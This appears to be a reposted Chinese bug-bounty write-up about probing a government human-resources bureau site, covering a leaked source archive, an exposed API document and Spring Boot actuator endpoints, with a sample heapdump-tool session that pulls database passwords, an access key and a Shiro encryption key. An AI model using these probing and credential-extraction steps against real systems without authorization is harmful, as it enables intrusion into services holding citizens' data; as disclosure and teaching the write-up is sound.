当前位置: 首页 > article >正文

记EDU某人社局的漏洞挖掘复盘

文章目录

    • 0x1 前言
    • 0x2漏洞复盘
        • 一、某市场交易仿真培训系统源代码泄露
        • 二、ARL backend API文档接口泄露
        • 三、Spring Boot漏洞文件泄露
    • 0x3总结

0x1 前言

哈喽,师傅们!
这次给师傅们分享的是EDU某人社局的漏洞挖掘复盘,给师傅们看看edusrc的人力资源人力资源和社会保障部信息中心的人社局相关的政府站点的漏洞进行一次漏洞挖掘的分享。这个漏洞挖掘的知识点不难,仅作为技术分享。

0x2漏洞复盘

一、某市场交易仿真培训系统源代码泄露

这个文件泄露是通过灯塔进行域名相关资产扫描出来的,是一个仿真实验平台系统的源代码泄露,访问url可以直接下载下来,然后进行一个源代码审计,扩大危害值

源代码中可能包含敏感信息,如数据库连接字符串、API密钥、加密密钥、内部逻辑等,这些信息一旦被泄露,可能会被用于恶意目的

二、ARL backend API文档接口泄露

这个API文档的接口也是通过上面的灯塔进行的扫描,然后扫描的API接口文件的泄露

还可以进行管理员修改密码和用户登录

三、Spring Boot漏洞文件泄露

使用的是spring-boot扫描工具,上面的url全都可以访问,且都有泄露相关文件redis、MySQL、druid账号密码,以及泄露日志、版本信息,还有泄露了两个heapdump文件

1、访问/test/actuator
就可以在 /actuator 看到所有存在的端点,截图如下:

2、访问/test/actuator/env
可能会泄露数据库账号密码等敏感信息,这个里面泄露了redis、MySQL、druid、登录后台的账号密码

3、访问/test/actuator/heapdump、/test/actuator/;/heapdump
泄露了两个heapdump文件

这里我们就直接使用heapdump相关的工具了
工具下载链接如下:https://github.com/whwlsfb/JDumpSpider

**使用命令如下详情:
**

usage:> java -jar heapdump_tool.jar  heapdump
查询方式:
1. 关键词       例如 password 
2. 字符长度     len=10    获取长度为10的所有key或者value值
3. 按顺序获取   num=1-100 获取顺序1-100的字符
4. class模糊搜索  class=xxx 获取class的instance数据信息
5. id查询       id=0xaaaaa  获取id为0xaaaaa的class或者object数据信息
4. re正则查询    re=xxx  自定义正则查询数据信息
获取url,file,ip
shirokey 获取shirokey的值
geturl   获取所有字符串中的url
getfile  获取所有字符串中的文件路径文件名
getip    获取所有字符串中的ip
默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true,all=false取消显示所有值。

----------------------------------------------------

常见的heapdump泄露,大多都是spring heapdump泄露

这里以spring heapdump泄露 为例

访问 /actuator/env  得到部分信息如下

properties: {
spring.datasource.driver-class-name: {
value: "com.mysql.cj.jdbc.Driver",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:3:24"
},
spring.datasource.url: {
value: "jdbc:mysql://test.mysql.rds.aliyuncs.com:3306/test?useUnicode=true&characterEncoding=utf-8&useTimezone=true&serverTimezone=GMT%2B8",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:4:10"
},
spring.datasource.username: {
value: "root",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:5:15"
},
spring.datasource.password: {
value: "******",
origin: "URL [file:/home/test/deploy/config/application-pressure.yml]:6:15"
},

页面返回内容 spring.datasource.password 的值为 *******

下载 heapdump 文件, 然后使用工具
root<span>@wy</span>:~# 
&gt; java -jar heapdump_tool.jar  heapdump.6
[-] Start jhat, waiting...
[-] fing object count: 100000
[-] too many object,please input 0/1 to choose mode.
0. (search data, may can't find some data, can't use function num=,len=).
1. (load all object, need wait a few minutes).
&gt; 0
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
&gt; spring.datasource.password
[-] Start find keyword: spring.datasource.password
&gt;&gt; spring.datasource.password -&gt; test<span>@wyzxxz</span> 
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
&gt; accesskey
[-] Start find keyword: accessKey
&gt;&gt; ConnectionProperties.noAccessToProcedureBodies -&gt; When determining procedure parameter types for CallableStatements, and the connected user can&#39;&#39;t access procedure bodies through &quot;SHOW CREATE PROCEDURE&quot; or select on mysql.proc should the driver instead create basic metadata
&gt;&gt; accessKey -&gt; LTA**************
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
&gt; shirokey
&gt;&gt; kPH+bIxk5D2deZiIxcaaaA==
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey,systemproperties,allproperties,hashtable input q/quit to quit.
&gt; class=shiro.web.mgt
- &gt; org.apache.shiro.web.mgt.CookieRememberMeManager
- - - -&gt; org.apache.shiro.crypto.AesCipherService
- - - - - - - -&gt; algorithmName -&gt; AES
- - - - - - - -&gt; blockSize -&gt; 0
- - - - - - - -&gt; generateInitializationVectors -&gt; true
- - - - - - - -&gt; initializationVectorSize -&gt; 128
- - - - - - - -&gt; keySize -&gt; 128
- - - - - - - -&gt; modeName -&gt; CBC
- - - - - - - -&gt; paddingSchemeName -&gt; PKCS5Padding
- - - - - - - -&gt; secureRandom -&gt; &lt;null&gt;
- - - - - - - -&gt; streamingBlockSize -&gt; 8
- - - - - - - -&gt; streamingBufferSize -&gt; 512
- - - - - - - -&gt; streamingModeName -&gt; CBC
- - - - - - - -&gt; streamingPaddingSchemeName -&gt; PKCS5Padding
- - - - - - - -&gt; streamingTransformationString -&gt; &lt;null&gt;
- - - - - - - -&gt; transformationString -&gt; &lt;null&gt;
- - - -&gt; cipherService -&gt;
- - - -&gt; org.apache.shiro.web.servlet.SimpleCookie
- - - - - - - -&gt; comment -&gt; &lt;null&gt;
- - - - - - - -&gt; domain -&gt; &lt;null&gt;
- - - - - - - -&gt; httpOnly -&gt; true
- - - - - - - -&gt; maxAge -&gt; 31536000
- - - - - - - -&gt; name -&gt; rememberMe
- - - - - - - -&gt; path -&gt; &lt;null&gt;
- - - - - - - -&gt; secure -&gt; false
- - - - - - - -&gt; value -&gt; &lt;null&gt;
- - - - - - - -&gt; version -&gt; -1
- - - -&gt; cookie -&gt;
- - - -&gt; decryptionCipherKey -&gt; xxxx
- - - -&gt; encryptionCipherKey -&gt; xxxx
- - - -&gt; org.apache.shiro.io.DefaultSerializer
- - - -&gt; serializer -&gt;
[-] please input keyword value to search, example: password,re=xxx,len=16,num=0-10,id=0x123a,class=org.xx,all=true,geturl,getfile,getip,shirokey input q/quit to quit.
&gt; q
[-] exit.

JDumpSpider-1.1-SNAPSHOT-full.jar这个工具也推荐,这个工具是自动化的帮你跑敏感的数据,比如账号密码什么的

4、访问/test/actuator/loggers
泄露的日志信息、版本信息

0x3总结

师傅们,到这里这篇文章就结束了,主要是一些泄露相关的漏洞,然后后面的spring’-boot扫描,扫描出来了蛮多的接口泄露,泄露的信息最为关注的就是一个/env接口,里面找泄露的账号密码,然后还有就是泄露的heapdump文件,里面泄露的数据多,蛮多服务的账号密码都可以在里面找到。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!


http://www.kler.cn/news/354192.html

相关文章:

  • 四种隔离级别是如何逐步加强事务隔离的,以及在底层如何使用锁机制和多版本控制(MVCC)来实现
  • HCIP--1
  • 新媒体优势
  • Spring Boot驱动的在线考试系统:JavaWeb技术实战
  • Scala入门基础(12)抽象类
  • 梯度下降算法优化—随机梯度下降、小批次、动量、Adagrad等方法pytorch实现
  • pico+Unity交互开发教程——手指触控交互(Poke Interaction)
  • 如何利用OpenCV和yolo实现人脸检测
  • 如何利用边缘计算网关进行工厂设备数据采集?天拓四方
  • Linux创建sh脚本,实现全局调用
  • 可编辑73页PPT | 企业智慧能源管控平台建设方案
  • 机器学习【教育系统改善及其应用】
  • 线性代数基本知识
  • Web 搜索引擎优化
  • k8s部署Kafka集群超详细讲解
  • C#高级编程核心知识点
  • 智慧供排水管网在线监测为城市安全保驾护航
  • Mysql(4)—数据库索引
  • 数据结构实验十二 图的遍历及应用
  • 在FastAPI网站学python:虚拟环境创建和使用